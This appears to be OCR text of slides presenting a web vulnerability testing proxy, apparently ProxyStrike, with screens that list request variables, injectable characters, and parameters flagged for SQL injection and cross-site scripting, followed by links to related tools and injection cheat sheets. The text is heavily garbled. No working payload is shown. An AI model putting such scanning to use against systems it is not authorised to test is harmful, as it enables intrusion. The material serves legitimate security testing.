utmz=109382993.1206520740.1. 1. utmccn=(direct)|utmcsr=(direct)|utmecmd=(none) utmb=109382993

Responses

Variables

atus: 0 Sql Injection Attacks « 0 XSS Attacks




. o
Y

Comms Request Stats Variable Stats Config Attacks

Variable Values
y http.//edge-security.com

http://toolbarqueries.google.com
v /search

ch

client navclient-auto

Rank . FVN
features

UTF-8

UTF-8

nfo:http:/ /www.fistconference.org/
qQ nfo htp./ /www.edge-security.com/edge-soft.php

mip./ /www.edge-security.com

fedge-soft.php
/soft.php
{wfuzz.php

htp:/ /www. fistconference . org

Update stats

Status: 0 Sql Injection Attacks - O XSS Attacks




o
Y2

Comms Request Stats Variable Stats Config Attacks

Request threads 4 s 'Parameter threads Reset attacker cache

Cross site scripting v enable Export HTML Export XML
Variable Method Injections Avallable

() (Parenthesis) (Normal Encoding)
CodP CET " (Double Quotes) (Normal Encoding)

<, > (Less than and great than symbols) (Normal Encoding)
() (Parenthesis) (Normal Encoding)

nidN CET " (Single Quotes) (Normal Encoding)
" (Double Quotes) (Normal Encoding)

Sql Injection v enable Export HTML Export XML

Url Variable Method Inection Type DB Fingerprint DB Error
v http.//w
CodP... CET  Single Quoted Injection MS Sql Server
nttp./ /b
nidN GET Unescaped Injection MySQL

Status: 0 Sqgl Injection Attacks - O XSS Attacks




x \Nfuzz: http:// Wwww.edge-security.com/wiuzz.php

x \NebSlayer: http:/www.edge-security.com/webslayer/
Welslayer.ntml

» Proxystrike: http://www.edge-security.com/proxystrike.php



http://www.edge-security.com
http://www.edge-security.com
http://www.edge-security.com/wfuzz.php
http://www.edge-security.com/wfuzz.php
http://www.edge-security.com/webslayer/Webslayer.html
http://www.edge-security.com/webslayer/Webslayer.html
http://www.edge-security.com/webslayer/Webslayer.html
http://www.edge-security.com/webslayer/Webslayer.html
http://www.edge-security.com/webslayer/Webslayer.html
http://www.edge-security.com/webslayer/Webslayer.html

»x Nitp://ferrun.mavituna.comy/sqgl=injection-cheatsheet-oku/

«  http://www.0x000000.com/index.php?i=14

x  hitp:// www.xssed.com/xssinfo

x Dhanjani Hack-lu presentation

x  One Way Hacking http://net-square.com/papers/one_way/one_way.htmi

x  Owasp http://www.owasp.org



http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
http://www.0x000000.com/index.php?i=14
http://www.0x000000.com/index.php?i=14
http://www.0x000000.com/index.php?i=14
http://www.0x000000.com/index.php?i=14
http://www.0x000000.com/index.php?i=14
http://www.0x000000.com/index.php?i=14
http://net-square.com/papers/one_way/one_way.html
http://net-square.com/papers/one_way/one_way.html
http://net-square.com/papers/one_way/one_way.html
http://net-square.com/papers/one_way/one_way.html

cmartorella@edge-security.com



mailto:cmartorella@edge-security.com
mailto:cmartorella@edge-security.com

